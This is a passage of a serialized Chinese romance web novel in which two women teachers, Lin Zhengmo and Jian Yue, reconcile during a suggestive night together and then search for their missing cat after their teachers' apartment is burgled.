装扮就像圣诞老人那样, 一到晚上就上班,工作内容是撒雪,这里撒撒, 那里撒撒,于是整座城市便铺满了雪,就像现在窗外那样, 雪花飘簌。 “喝点什么?”林筝墨开灯,邀请简越进屋。 “不喝了。”简越在沙发坐下。 林筝墨嘲戏着:“想着你还没喝奶茶, 总得喝点什么吧?” “那喝水吧。”简越拿出手机看监控, 自动喂食机上有摄像头, 可以看到小猫吃粮,此刻泡泡正趴在地上发呆, 甚是可爱, “你看泡泡。” 林筝墨凑过来看, 眼底瞬间聚满色彩,“它好乖啊” 简越将手机熄屏,故意说:“泡泡现在是我的猫了,它的前主人不要它了。” 肉眼可见林筝墨酸溜溜的, 眼底还有几丝不服气。 “你胡说。” “实事求是。” 简直是在胡说,林筝墨靠近一些,双手支撑在简越腿边,上半身靠过去,十分不满地看着简越。 简越直起腰向后退,靠在抱枕上,凝视着近在咫尺的脸,心跳如雷。 “你干嘛” “泡泡不是你的猫。”林筝墨一脸严肃:“泡泡是我们的猫,我们是一家人。” 林筝墨非常认真。 她的神态,她的语调,携着一股迷幻力量,正撩拨着简越的神经,那种带着一点愠怒的表情实在惹人喜爱,知道林筝墨并不是生气,而是在意。 这种情绪背后所传达的意义,让简越觉得她更迷人了。 很喜欢这种关于“一家人”的描述,如同走出远门的家人终于敲响房门,一场遥遥无期的旅途终于结束了。 事实上小猫确实需要两个主人,小猫喜欢坐在阳台看她们养花剪草,而不是茶几上的酒瓶,沙发上瘫软的酒鬼;小猫喜欢厨房那两道剪影,那些人类拥抱的温馨画面,而不是夜里无休止的啜泣,垃圾桶里的眼泪纸球。 小猫不会讲话,但小猫的眼睛是一台摄像机,记录着一切一切 “哦一家人是什么意思?”简越习惯性明知故问,漾着光色的瞳仁注视着林筝墨。 她要从这种反问中寻找答案,即便已经心知肚明。 “一家人就是你、我、还有泡泡,你就知道装糊涂。”林筝墨懊恼词不达意,其实情感还要更强烈些,她用鼻尖碰了一下简越的脸蛋,迅速起身,“我要洗澡了!” * 浴室水声响起时,简越正倚靠在沙发上,稀里哗啦的声音是小憩的背景曲,演奏人依旧是林筝墨。 和林筝墨相处的时间里,总觉得过得很快。 窗外雪还在下,窗帘只开了半扇,简越观察着外面的天空,雪花下落的速度越来越快,预示着今晚有一场大雪降临。 简越视线空茫。 在发呆。 在想。 正在洗澡的人,抹的是什么味道的沐浴露,温水滑过肌肤时,透明的水线是如何亲吻她的身体,她的腰,她的背。她在水中的背影,是什么样的曲线和弧度,在沸热的水蒸气里,湿热的头发黏在脸庞和后颈,那一番纤丽动人的画面,绝对不只是情欲,也是夜里将要开放的小茉莉。 又淡又艳,牵扯着思绪。 水声停了。 简越的眼皮快速阖动了一下,将先前脑袋里的画面剪碎,强迫自己做一个脑袋清醒的人,她拿出手机,打开一份古早的消防文件,认真阅读里面的细则。 她习惯了。 好像读这个能戒骄戒躁似的。 哦不,戒燥戒色似的。 林筝墨在里面穿衣服,这几分钟里,简越把消防文件里的“定期维护保养,确保完整耐用”这几个大字来回读了很多很多遍,可她好像变成了一个文盲,每一个汉字都需要逐一拆解,直到浴室的门打开。 好了。 消防文件滚吧。 简越眼皮半掀,往那个方向看去,一瞬间,呼吸停滞在胸口。 她变成了火锅里的红苕粉,嘶溜一下滑进汤锅里,心情软趴趴的,怎么也捞不起来了。 好美,全凭想象力是不够的,需要眼睛去捕捉。 林筝墨整个人水滋滋的,白炽光将她的皮肤晕得更鲜,更亮,手臂像是壶里倒出来的牛奶那么滑,那么白。她穿一件白色纱质的长裙,露出光洁的小腿和脚踝,擦得微干的头发搭在肩头,表情素素淡淡,却极其好看,整个人仙里仙气的。 简越虽面不改色,但却在汤锅里挣扎。 她觉得自己真的变成了火锅粉。 爬。 不。 起。 来。 了。 救命。 “我洗好了。”林筝墨慢慢走过来,携来一阵芬香,“你去洗吧。” “那我洗吧。”简越起身,飘浮在香气里,虽然人还在这里,但也走了一会儿了。 “好。”林筝墨没发现简越异样,甚至觉得她挺淡定的,“我去给你拿套睡衣。” “谢谢。” “?”林筝墨好惊讶地看着她,“你干嘛突然这么客气。” “啊?”简越心不在焉的,“什么?” “没什么” 林筝墨觉得真怪,明显察觉到简越不在状态,飘飘忽忽的,神思游离。 以及,淡淡的失落感,她还以为自己穿的漂亮小睡裙能得到青睐呢,简越怎么脸不红心不跳的,不喜欢吗? 衣柜里拿了一套衣服,内裤是一次性的,听见浴室的声音,是已经开始洗了么。 那太好了—— 咚咚。 敲门。 “你已经开始洗了吗?衣服没拿进去诶。” “噢,我忘了。”简越真忘了,洗澡都是飘进浴室的,满脑子都是林筝墨的脸,洗澡只是机械性动作。 现在问她1+1等于几,她铁定说3. “我给你放进来吗?” “马上。”简越关了水,踩着湿过来开门。 门里飘着雾,透着橘黄的光,开门那瞬间,身体的轮廓透着雾玻璃一闪而过,平直的锁骨,紧实的腰腹,即便就一秒,林筝墨眼底毫不掩饰闪过惊艳,唇角漾着笑:“慢慢洗哦,不着急。” “好。”简越阖上门,只留一个缝隙,“我——” “嗯?”林筝墨耐心等待回应。 “我等会儿睡哪?” “床啊。”林筝墨好纳闷:“前两天不是才睡过。” “好,我就是问一下。” “那我在床上等你。” 床上等你。 等你。 你 一起睡觉。 三万亿个林筝墨在简越脑袋里晃。 简越的星球因为人口过多快要爆l炸了。 不语,迅速打开水冲起来,大冬天的,在无人知晓的角落,有人洗了几秒钟的冷水澡,哆嗦得慌,但清醒些了,才又放热水 * “啊,对。”林筝墨躺在床上和张老师对话,“哦,筱筱没事了。” “赵铭说李大光又在揍他儿。”张老师一边啧一边低语:“他这么打像什么话?” 林筝墨揉揉眉心,“我是搞不懂,又不是什么大事,到底是要干什么?” “那男人大体不就是两种,一家之主李大光,和我的软蛋前夫。”张老师讥笑,“对了你和小简怎么样了?” “哦,她在洗澡。” “你们这是在做什么。”张老师故作惊讶:“发展迅速!” 林筝墨发出清越的笑声,“我们现在还是很单纯的同事关系。” 这句话说出来她自己都害臊,又不能撤回了。 果然张老师一针见血的:“那你们上的班可能和我上的班不一样吧。”老人家啧啧两声,“哎,时间不早了,我先挂了。” 林筝墨还想说两句。 嘟—— 已经挂了。 张老师坐火箭撤离。 没一会儿听到简越在客厅吹头发,这期间林筝墨整理了一下床,她还往枕头上喷了一点香水,又拍拍枕头,等待简越入场。 今晚的密室逃脱案件还没完。 检察官林筝墨要纠察到底,进行一场对于嫌疑犯的战术洗礼,她已经想好要怎么做了。 叩叩—— 门外简越敲门。 林筝墨靠在床头,慵懒的姿态,徐徐道:“进来啊。” 简越推开门,迟疑地往门内看了眼。 林筝墨就躺在床上,被子也不盖,小裙子随意散落在床上,裙摆生花,纤细的小腿弯曲着,脚踝凸出的骨头,她的腿显得很秀气。 是实打实的从头到脚都美。 简越愣在原地,脚底抹了胶似的,一动不动。 林筝墨放下手机,故作困惑看向她:“你愣着干嘛?” “我——” 我紧张。 睡觉。 做点什么。 火锅粉又不行了。 “我刚吹完头。”简越揉了揉秀发,装作轻松地走进去,站在床边,却没坐下。她站在原地不知道在搞什么乱七八糟的东西,磨磨蹭蹭。 林筝墨掀开平铺的被子,掀开一角,拍拍,“快来。” “好。”简越依旧没坐,她心跳好快。 好快好快好快。 快到以往那么多次,那么多次和林筝墨之间的接触,都不足以抵过现在的程度。 “干嘛呀。”林筝墨伸手去揪她的衣摆,“你怎么还站着,是不想和我睡觉吗?” “我腰痛。”简越绷着身体,张口就来。 “啊,那你躺下,我给你揉揉。”林筝墨轻轻拽了拽,将简越拽到床上。 简越刚坐下,林筝墨跪坐起来,一把将简越推倒在床,干脆利落。 她轻轻压着她,一双手支撑在两侧,有意贴近,感受彼此胸脯起伏的频率。 笑着对简越说:“腰哪里痛?我给你揉揉。”—— 作者有话说:那么我们明晚相约九点 在线观看《小林钓鱼》[彩虹屁] 第99章 第九十九章 搞就一个字 第九十九章 “腰哪里痛?我给你揉揉。” 实际上, 腰痛只是一番说辞罢了,此刻林筝墨坐在简越身上,隔着薄薄的衣服,温热传递过去, 哪哪儿都有点儿烫, 连对视都变得不自在。 “就腰痛。” “那你翻身, 我给你按按。” “你压着我,我怎么翻身。” “我下来。”林筝墨朝旁边挪了些, 简越懒洋洋翻过去, 很快林筝墨又重新坐了上来,坐在她臀部往下一点的地方。 她很轻,带来的感觉却很强烈。 哼唧, 简越发出诡异的鼻音,迅速埋在双臂之间,不再言语。 干嘛这样坐啊, 像话吗。 林筝墨低头端详着简越,后腰的弧度很惊艳, 一双手贴上去, 从下往上推, 一直到肩胛的位置,又滑落下来, 最终定格在腰窝的方向, 指尖点了点, “这里痛吗?” “痛。” “好,给你揉揉。” 轻轻揉着,都不说话,空气里仿佛糊了一层水, 耳边全是黏糊糊的水声,那是一种幻听,亦或者是真实存在的,一种真实存在的即将产生的化学反应。 一瞬间,两人都有点失迷。 已经很久没有这样的肢体接触,林筝墨居高向下看,瞥见简越美妙的腰部线条。 对于一个长期健身的人来说,腰上没有赘肉,非常紧实,所以摸起来并不柔软,但却极其有韧劲的,反倒更具有诱惑力了。 林筝墨手指贴着腰轻轻揉起来,指尖像带电似的,一下子镀到简越的皮肤里,激起千层浪。 “唔” 林筝墨停下来,“痛吗?” “不是。”简越腮颊泛起红晕,她沉默几秒,开口:“不然不按了?” “你受不了了?” “?” 什么虎狼之词! “不是,我好像不太习惯。”简越回过头看林筝墨,不自在:“也还好,其实没有特别不舒服,不然我们睡觉吧?” 到手的简子还能让她跑么,林筝墨停下手里的动作,一瞬不瞬看着她:“怎么的呢?是不舒服吗?” 舒服。 就是太舒服了。 等会儿发出那些乱七八糟的声音像话么。 “呃,也不是……”简越含糊其辞。 林筝墨能感受到简越的紧绷,她想让她放轻松,“是不想按了还是怎样。” 啊。 要怎么回答! “也不是。” “那你就好好躺着。”林筝墨摁着她的肩膀让她躺下。 “好。” 简越被迫躺尸,等待林师傅上工,不一会儿,林筝墨继续揉,纤细的指尖肌肤之间跳跃,每一次手指揉过来,惊心动魄的颤麻,简越觉得自己快死掉了。 那是一种最直接的火热的欲念,从腰腹燃烧到整个身体,产生难耐的化学反应。 “舒服吗?”林筝墨暗戳戳撩拨她。 “嗯。” “喜不喜欢?” “嗯。” 说完“嗯”,简越埋在枕头里,热烘烘的呼吸炙烤着整张脸,脑海里浮现出关于林筝墨的画面。 她忽然很想亲吻林筝墨,或者抱一抱她,或者再做一点点亲密的事情,这些想法,全都是被林筝墨一步一步引诱出来的。 手掌隔着T恤的面料揉了一会儿,从后腰向下,到衣摆的位置,林筝墨的手指顿了一下,凝视着简越。 “简越。” “干嘛。” “没什么。” 话音刚落,简越忽然感受到一阵冷凉,细腻的皮肤钻进她的衣服里,荡起一片痒痒的鸡皮疙瘩。 “你干嘛——”简越是颤着说的。 “没干嘛,这样按你的腰会好一点。”林筝墨反复推着简越的腰,手掌眷恋地推来推去,也不知道是谁享受到了,或许都有。 “会更舒服一点吗?”简越艰涩道。 林筝墨停下来,“难道不会吗?”——我都这么摸你了,你最好是不要撒谎,不要嘴硬,别说你脸红成什么样了,周遭的皮肤都粉粉的。 看破不戳破罢了。 简越虽然享受但相当别扭,“我不知道,大概还要按多久?” “一分钟?两分钟?还是五分钟,你自己定。” “随便吧。”简越实在骗不了自己,索性豁出去了:“五分钟也行。” 听见林筝墨轻声笑,那笑声荡在简越耳边,又柔又痒,卧室的光很淡,小台灯被调到最底的亮度,有种暧l昧的氛围感。简越逐渐习惯指节的韵律,原来会弹钢琴的人也很会按摩,整个身体感受到前所未有的放松和慰藉。 “她给你这么揉过吗?”林筝墨忽然开口,暖光之下,眉眼被光晕照耀得纤丽而柔美。 “谁?”简越稍稍抬眸,似是困惑。 “你的初恋。” “当然没有。”她又趴下去了,额头埋在双臂之间,保持那样舒服的姿态,阖眼享受着。 “那好。”林筝墨忽然停下手里的动作,“那你翻过来。” 简越觉得自己是个煎饼,让林老师翻来翻去的,但还是乖乖照做。 平躺着,忽然瞥见林筝墨的脸,心跳无端加速些,这个角度看去,比先前更加惊艳了,那种美丽是震撼且惊心动魄的,林筝墨长发如瀑,发丝搭在肩头,下巴尖瘦,嘴唇是淡淡的粉色。整个人瘦瘦薄薄的,两扇平直的锁骨暴露在空气中,说她清纯,又不太对味,因为眼神是带着一点掠夺和诱惑的。 钓得简越挪不开眼。 她不知道要干嘛。 一点点期待。 “那什么是她和你做过的。”林筝墨说完这句,忽然偏过身去关了灯,卧室瞬间陷入黑暗。 简越迅速被漆黑包裹着,携来的不是恐惧而是期待,是的,她的情绪变成了期待,期待林筝墨接下来的动作。 “说话,什么是她和你做过的。”林筝墨慢慢靠近,在距离简越只有几公分的距离忽然停下,她在黑暗中凝视简越,“告诉我,我要听。” “什么……”简越阖上眼,攫取着属于林筝墨的气味,“你想听什么?” “除了在密室逃脱你抱她。”林筝墨跪坐在简越腿上,双手勾着简越的肩脖,“还有什么?” 简越感受到靠近,实在难耐,情不自禁伸手去搂林筝墨的腰,两人面对面紧紧拥抱在一起。 滚烫。 身体滚烫,呼吸滚烫。 林筝墨故意放慢呼吸,轻轻往简越耳边吐气,只是吐气,不语。 “没什么了。” “她有没有这样坐在你腿上?” “没有。” 林筝墨拉起简越的手,将她的手放在自己心口,隔着睡裙,让她摸自己,“这样呢?” 简越哪受得了这番撩拨,“没没有。” “呵。”听见林筝墨又笑了声,这回笑声带着一点讥诮,一点点轻蔑和不屑,“那你喜欢她还是喜欢我。” 简越以为这是不需要问的问题,答应显而易见。 “你。” 林筝墨没有回答,只见黑暗中她抬起双手。 透过黑夜的轮廓,简越发现,林筝墨裙子跟着她手的弧度一同起,一同落,薄纱材质的睡裙随即扔在一角。 寂淡的夜晚瞬间被点燃,仿佛潜藏已久的东西就要呼之欲出,林筝墨没有给简越太多的思考时间,凑过去,捏着简越的下巴,嘴唇忽然贴上去。 电光石火之间,黑暗里擦出微妙的光火,刚开始只是轻轻触碰,林筝墨柔软的嘴唇贴上去,缓慢地抿着简越的下嘴唇。 那种久违的温暖而柔软的触感,一石激起千层浪,在简越心湖中作祟。 毫无预料,紧张到不敢呼吸,却迅速沉沦了,嘴唇软得像棉花糖,回到小时候最馋最嗜甜的时刻。 现在是什么关系?前任?能不能亲,能不能抱,好像都无法判断了。 简越卸下防备,紧紧搂着林筝墨的腰,圈着她往自己怀里贴,贴近,用力贴近,她听见林筝墨发出闷哼,那种喟叹是满足,是渴望。 嘴唇在缠绵中挪开。 林筝墨说:“这样呢,她有没有过” “没有,都没有。”简越主动去啄林筝墨的嘴唇,呢喃:“你能不能别说她了。” “我很生气。”林筝墨移开唇,往简越脖间游离,“凭什么。” “对不起。” “我没怪你。”林筝墨在简越脖间咬出一个牙印,觉得不够,又加重了些,听到简越吃痛才停下,“我是不是很任性。” “还好。”简越心中产生浓烈的爱意,哪里有时间觉得这样不妥,双手在林筝墨腰上摩挲着,“你冷不冷?” “冷。”林筝墨双腿夹着简越的腰,轻轻蹭了蹭,“你能不能也像我一样这样我们抱着就不冷了。” 她们多久没有过了? 大半年了。 其实彼此都很想,分开的时候感情就很好,现在更是难分难舍,所有的推开都暗藏着一种靠近。 林筝墨身体很有感觉,简越感受到了,因为蹭得她腿上都是,是林筝墨爱她的痕迹。 “我以为要再考虑考虑。”简越也只是随口一说,在给林筝墨台阶下。 林筝墨瞬间僵硬,似乎愣了一下,“还要考虑吗?”她有点伤心,都到这地步了,她以为是默认的意思,“你还需要再考虑吗?”身上的火热退却下来,想当懊恼,连忙去穿衣服,尊严作祟:“那你考虑吧。” 简越也愣住,她以为林筝墨会说,不要再考虑了,这样就能流程进行下去。 怎么事情往反方向发展了? 说出去的话泼出去的水,一万头牛也拉不回来了。届时林筝墨穿好衣服躺下,默不作声拉过被子,裹在身上,背对着简越,冷不丁:“睡了,你慢慢考虑。嗯,也对,你说好下周给我答复的,是我越界了。” 简越忽觉心头一阵空。 Noooooooo!!! Nooooooooooooooooo!!!!!!! 她躺下,连忙从身后去拥抱林筝墨,一秒滑跪:“宝宝”—— 作者有话说:不好意思,不是今天搞哦[彩虹屁] 今日半搞 退下[狗头] 第100章 第一百章 我们和好吧 第一百章 “宝宝”胸脯贴上后背, 娴熟一捞,将林筝墨捞进怀抱里。埋在发间,贪婪地汲取着属于爱人的气味,“我不是那个意思。” 林筝墨冷不丁:“你不想, 我不会强迫你。” 伤心死了。 衣服都脱光了, 人家说再考虑一下。 执行死刑! “我想的。”简越焦灼起来, 用滚烫的呼吸证明自己,“我怎么会不想。” “那你说再考虑一下!” “我想, 很想。”简越不再伪装, 手指不安分地往下移,触摸到裙摆的位置,下一秒却被摁住了。 “不做了。”林筝墨推开她的手, “你考虑吧,我睡了,好困。” 好气好气好气。 岂能让你立马得逞!今夜若是乖乖就擒, 往后如何稳固地位! 简越心中有蚂蚁在爬,她很确定, 她和林筝墨产生的爱意, 犹如一条潺潺河流, 早就流出二百里地,旱田干枯, 亟需滋润。 苍天啊! 大雨滂沱! 洪水倾泻山谷, 密林细雨霏霏, 只缺填补。 “宝宝” “别叫我宝宝。” “老婆” 林筝墨消气大半,态度依旧:“我不配。” 简越低头去吻她,轻密的吻落在侧脸,鼻尖, 额头,吻得青涩,吻得小心翼翼。 林筝墨阖上眼,感受着甜。一道吻落下,游离在脖间,那是敏感地带,嘴唇点燃身体的光火,没忍住,低吟着。 一边哼,一边说:“我不做。” “那就不做。”简越没停,轻柔安抚着:“但让我亲亲你。” “你就那么讨厌”用讨厌表达喜欢,“讨厌你,这辈子再也不在你面前脱衣服了。” 简越一边吻她一边笑,“好好好,再也不了……” 林筝墨觉得自己像一只淋了雨的小猫玩具,可怜兮兮,浑身湿哒哒的,她需要简越的安抚和吻,把她从冰冷的情绪里捞出来。 吻到舒心,吻到困倦,吻到最后她紧紧抱住了简越。 当晚没做,林筝墨脱掉简越的,简越脱掉林筝墨的,相互拥抱在一起,却是没做。 发现情欲旺盛到某种地步,居然是可以通过拥抱来填补的,比起激烈的索取,忽然也很怀念这样宁和又温暖的片刻,在很早很早以前,她们就是通过这样的方式来表达爱意的。 拥抱,或许是要把过去欠下的全都找回来,让光滑的皮肤好好叙叙旧。 一直到深夜,林筝墨在简越怀里呢喃:“我挺想你的。” 中国人说话就是这么保守,挺想你的潜台词是想你到疯癫,要用这样风轻云淡的语调,来表达几近癫狂的思念,终其一生都在内敛。 “我也挺想你的。”简越的指尖滑过林筝墨的后背,来来回回,反反复复,“应该比你多一点点吧。” “才没有。”林筝墨的脚趾贴着简越的脚趾,“你不知道我多想你。” “你也不知道。” 那么,思念应该是同频的吧,在这个缥缈的世界里,在我们分别的时光中,在南城和西城,或许哪一日,或者那一日,在某个悲伤的片刻,天空的云飘在我的眼睛里,其实也落在你的肩膀上,在稀释的空气里,妄图各走各的人生,却抵不过一通电话,疾奔回来找到你。 害怕失去你,要找到你,然后翻转这个凄冷的冬天。 “我们和好吧。”林筝墨蜷缩在被子里,鼻息咻咻,温热拂在简越的脸上,“简越,我们和好吧。” “那以后”简越亲吻她的嘴角,“就不要再分开了。” “一言为定。” “一言为定。” 冬天太冷了,如果独自观雪的话,那就太冷太冷了,林筝墨忽然听见窗外的雪声,淅淅摩擦着玻璃窗,在耳边打着转,她在半倦半醒之间看见简越的脸庞,黑暗中的轮廓却很清晰。 简越在看她,她在看简越。 那么,一个美梦就够了 * 林筝墨有史以来最佳好梦诞生了,醒来已是清晨,简越依旧抱着她,温热的皮肤在提醒着她,昨夜一切不是梦,难以置信却又欣欣然。 “喂——”林筝墨戳戳简越的脸,“喂——” 指尖陷在脸蛋里,连戳两下,简越迷迷糊糊睁开眼来。 林筝墨靠近些,含笑问她:“你没忘吧?” “嗯?”简越眼神迷濛,稀里糊涂:“什么?” “对不起,打扰你睡觉了,但我实在忍不住问你,昨晚的事你没忘吧?” “昨晚?” 看着简越困疑的表情,林筝墨吓到惊呼:“你说你想我,你爱我,别告诉我只是一时上头,逢场作戏,睡一觉什么都忘了!” 简越愣住,稍稍清醒了,忽然笑出声来,一把搂住林筝墨的腰,“你干什么啊!我是那样的人吗!” 一大早没睡醒就被扔了一颗可爱炸弹,炸得简越心花怒放。 “那怎么知道,看不清摸不透的,万一你后悔了怎么办?”她蜷缩在简越怀里,来了兴致,不安分地抚摸起来,两人都没穿衣,简越忽然觉得一阵颤麻,确定了关系是不一样,肆无忌惮得可怕。 “林筝墨。” “干嘛?” “饿了就去吃饭。” “不要,我要吃这个。” “哪个?” 冬日粉润的小樱桃最适合当早餐,饱足了,从被子里出来,笑着看简越,赞不绝口:“美味。” 简越见她得逞的表情,翻身压住她,“就那么开心吗?” “想了很久了。”林筝墨用腿轻轻夹她的腰,引诱:“你呢?” 简越被勾得太阳穴直跳,低头去咬林筝墨的唇,两人刚触碰到一起,发出一些难以启齿的声音,刚要继续进行下去。 下一秒—— 枕边的手机持续震动着。 嗡嗡嗡。 来电显示是张老师,打的是林筝墨的电话。 林筝墨哼唧一声,偏过头,捞过手机,没接,对方挂断了,又打过来,两人被迫中止。 清了清嗓,接通。 “喂,张老师。” “小林!小简在你旁边吗?!” 林筝墨往身侧瞥一眼,“她在,怎么了?” “服了打一万个电话不接,你俩赶紧回教师公寓来!出事儿了!!” 林筝墨瞬间直起身来,点开空放,“怎么了??” “超级坏消息你家被偷了!速回!!” “啊???” 被偷了? 教师公寓也能被偷? 简越蹭的一下从床上起来,长手往地上一捞,什么内l衣l裤一通往身上套,林筝墨和她进行一样的动作,两人用最快的速度穿好衣服,异口同声:“什么情况!!!” 当然最关心的是猫。 小泡泡!! 张老师没挂电话,她说她就在简越家门口,猫不见了,不知道是不是躲起来了,家里被翻得乱七八糟,目前看来,最直观的是电视机不见了,具体贵重物品掉了没,不清楚。 林筝墨急得发抖,先前红扑扑的脸瞬间变得苍白,和简越在玄关里打转,门一开,一个人冲出去摁电梯,另一人还在电话里确定情况。 张老师说得也模棱两可的。 “被偷的不止你们一家,大群里排查呢,你们楼下的徐老师说你们家被偷了,我跑来看,真糟糕!!” “泡泡呢?张老师,你快帮我找找!” 张老师嘟哝:“大大小小翻遍了,没看到,不知道是不是吓到跑出去了。” “电梯来了。”简越唤她,林筝墨小跑过去,梯门迅速阖上了。 电梯里手机没信号,林筝墨整张脸没了血色,整个人失去力气后靠,“怎么办我的泡泡。” 小猫是她大学毕业就在养的,加上考编的时间,满打满算也有五年了。 泡泡生性温驯,从来不咬人,陌生人抱它摸它,小家伙也只会 蹭蹭,一点攻击力都没有。 简越神情凝肃,她忽然预设到一些不好的东西,却还是极力安慰着林筝墨:“小偷为财,不会偷猫的,它一定是跑出去了,公寓大门有监控,我们等会儿看看什么情况,我们可以网上找人帮忙,有职业找猫人,你别担心,可以找回来的。” 话是这么说,心里却没底。 最坏最坏的情况,就是泡泡走丢了,到时候要怎么办呢。 林筝墨却忽然哭了出来:“昨晚昨晚,昨晚如果我不让你过来,它是不是就不会走丢,如果你在家的话它是不是就不会走丢。”抽噎得厉害,两行泪瞬间落下:“天呐我接受不了。” “不是的,不是你想的这样,先不急。”简越拉着林筝墨的手,摩挲掌心,将她揽入怀中,“我们先过去看看,泡泡一定会找回来,一定会,你不要担心。” 林筝墨却不在状态,东想西想。 梯门打开,张老师继续在电话里说着:“失窃的不止一家啊,隔壁那栋楼也被偷了,真是奇怪,怎么也偷不到我们小区来才是。” 简越拿过手机,和张老师对话:“您能先去帮我们看看监控吗?” “赵铭早去看过了,监控坏了!”张老师听到林筝墨的哭声,宽慰道:“别哭了别哭了,你们赶紧过来,我先去给你们找猫!”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 100-110 第101章 第一百零一章 丢失的小猫? 第一百零一章 所有人都很震惊, 震惊在于,没有人觉得这里会出现小偷。 公寓在学校里面,首先要进入校园大门,才能到教师公寓, 约等于是两个关卡, 要偷也不至于偷这么高难度的不是么。 这小偷有两把刷子。 是因为安全过头了, 所以其实晚上保安都在睡觉的 “害,也不是监控没了, 就是一栋到四栋的监控坏了!”张老师拉着简越说:“赵铭还说坏了一阵子了, 你说说,像话吗!” 简越住顶楼,好在三楼李老师家安装的智能电子锁, 是有摄像头的。录像上显示小偷鬼鬼祟祟上去,偷偷摸摸下来,不止一人, 团伙行为,是实实在在的行窃。 确实丢了些东西, 几百块现金和姨妈送给她的生日礼物, 那是一条黄金项链, 值点钱,电视机是去年买的新款, 小偷识货, 也拿走了。 零零总总损失几千块吧。 但不是最重要的, 最大的损失是泡泡—— 小猫咪太矮了,李老师的监控里根本看不见泡泡是什么时候离开的,家里的自动喂食机不朝门,所以也看不见。 林筝墨哭了一会儿找猫去了, 简越和张老师商量对策,大家都很焦灼。 “小简”张老师拧眉,低声道:“我突然想起一事儿啊,就李主任那儿子,我不太放心。” “我知道。”其实简越早就就想到他,李新百有那毛病,要是泡泡跑到他那里去,后果不堪设想。 “不然咱们去李主任家瞅瞅?” “好。” 简越不打算和林筝墨说,看得出林筝墨已经相当崩溃了,若是再提起李新百,铁定是承受不住的。 俩人一同去李大光那栋,今日周五,李新百要上课,李大光要上班,大概率是见不到人的,但还是碰碰运气。 叩叩—— 简越敲门。 果然没人应。 张老师不信邪,“反正没人,敲大声点不碍事的。”她抬起手砰砰拍门,没一会儿门居然开了。 深红色的防盗门隙开一条缝,入门垫子上好几双李大光的皮鞋,淡淡的脚臭扑面而来,通过缝隙却是看不见人的,有人躲在门背后,用脚趾头想都知道是谁。 “诶人呢?”张老师故意提高音量,“李主任?李主任?” 门后鞋柜的方向发出响动,下一秒门被拉开了,李新百出现在俩人面前。 它不说话,就看着张老师。 张老师老油条了,该怎么进行,门儿清,面不改色道:“小李你爸呢?” “上课。”李新百淡淡道。 张老师二话不说,往里头迈,站在玄关处,四处看,“你妈妈呢?” “回乡下了。” “今儿周五,你不上课?” “我不舒服。” 李新百全程很淡定,他就站在玄关,与张老师对话时没什么异样的表情,倒是脸挺苍白的,看样子是不舒服。 “啊,哪里不舒服啊。”张老师伸手去摸李新百的额头,“发烧了吗?” 李新百下意识往后退了一步,“胃痛。”他的视线越过张老师的肩膀,看向简越,“你们什么事?” 张老师讪笑:“小区里来贼了,几家都被偷了,挨家挨户关心关心,你们家没事吧?” “没事。”李新百迟疑着,主动邀请:“你们要进来坐坐么?” 这句话让简越眼皮轻轻跳了一下。 猫不在他这里。 简越不知道自己是不是太敏感,或者先入为主,觉得李新百有些刻意,大概是早有预料,所以邀请她们进屋坐坐。 也不是没可能吧? “就不坐了,等你爸爸回来,你转达他,晚上记得反锁门。”简越说。 “好。”李新百颔首。 “先走了。”两人迅速离开。 * 林筝墨在楼下找了很久,花坛里,空调箱,这个洞,那条缝,操场,教学楼,大大小小的走廊,还有地下停车场,一无所获。 非常绝望,眼泪都流干了。 她一个人坐在一单元楼下,自责又颓废。 简越和张老师一同从不远处走来,三人面面相觑,不说话就代表结果不好。 沉默片刻。 “别灰心,还有机会。”简越没放弃,在网络上搜寻找猫人,二十四小时内还是很有机会找回来的。 “嘶——”张老师揉揉眉心,“就是说咱们还能不能想想办法。” 林筝墨忽然抬头,“学校大门的监控呢?大门的监控总有吧。” 其实泡泡大概率不会往外面跑,公寓离大门还是有一段距离,猫咪更倾向于受惊吓,或者躲在什么缝隙里。 大家觉得还是试试看,一点线索不放过。 简越心想也是,“学校大门监控有的,走吧,咱们去看。” 走到监控室门口,有老师还在和负责人掰扯,他说他家也被偷了,狗跑掉了现在找不回来,问学校怎么处理。负责任说,警察来了,找到小偷就会把遗失物还回来,但宠物么就听天由命了。 三人不墨迹,坐下看监控。 负责人说,警方已经来看过监控了,小偷是凌晨两点溜进来的,所以大家从两点开始倍速观看。 视频里,三个年轻人翻墙进来,看起来年龄不大,清一色戴了口罩,两瘦一胖,其中胖的那个是黄毛,非主流青年,街边小混混的概率很大。 总之就是噼里啪啦一通偷 门卫呼呼大睡。 后半夜无人问津,一直到早上七点,那时还不是上学高峰时段,监控里忽然出现一道身影,一男生背着书包骑着单车往学校外去。 “等一下。”简越叫停,“是不是李新百?” “好像是。”林筝墨将进度条拉回去,慢速播放,虽然没有正脸,但背影很像,不能百分百确定,也有八九十的概率。 “大早上的骑车出去干嘛?”张老师一脸懵,“这娃真让人瘆得慌。” 林筝墨先是愣怔了一下,原本没有想到李新百,监控里一看见他,瞬间鸡皮疙瘩溢满全身。 惶恐、愤怒、颤抖还有难以抑制的胡思乱想。 想着想着,终究还是崩溃了,听见她啜泣:“他不会把我猫杀掉了去抛尸吧。” 张老师战术后仰,“不至于吧!” 简越心想,最坏的情况也不是不可能,连忙抱过林筝墨,“不哭不哭,没有的,不可能,别乱想。” 啊。 好烦! 简越一面强装镇定一面心急如焚,当下所有都是猜想,是一点证据都没有的。所有的推测也只是基于他是个变态,可他是个变态这事,也是没有证据的,早上也去他家看过了,他说他生病,他家也没有猫。 “我要去找他。”林筝墨倏然起身,平日那么淡然一个人,却怎么也冷静不下来了。 “我们其实找过他了,没用。”简越拉住她,“冷静一下,泡泡还在,相信我,泡泡还在。” 林筝墨眼底噙着惶恐,“要是泡泡跑到他那里去,怎么办” 张老师在一旁抓耳挠腮,不好判断,感觉猫可能被拐了又没被拐的,不好定论,但不管什么情况,都怪折磨人的,她虽不养猫,但知道那只猫对她俩意味着什么。 “小林咱先不哭了嗷。”张老师把林筝墨从简越怀里拉到自己怀里,拍拍,以大姐姐的身份宽慰道:“没有的事情不要去推测,我寻思它在什么旮旯里躲着呢。” 简越点头,“对,找猫人马上就到了,对方是专业的,咱们再找找好不好?”她摸摸林筝墨的脑袋,其实她也很害怕,但她不能崩,“然后我们再想想办法。” 哭解决不了问题,但情绪是客观存在的。 林筝墨压下心里的不安,强打精神来,“好,我们继续找。”她晃晃脑袋,强迫自己将李新百晃出去,“不是他吧?” 这是一种绝望的询问,不是他还能是谁,他今天为什么不去上课,为什么大早上骑车去校门外面,为什么,太多太多令人困惑的地方,但不能再细想了。 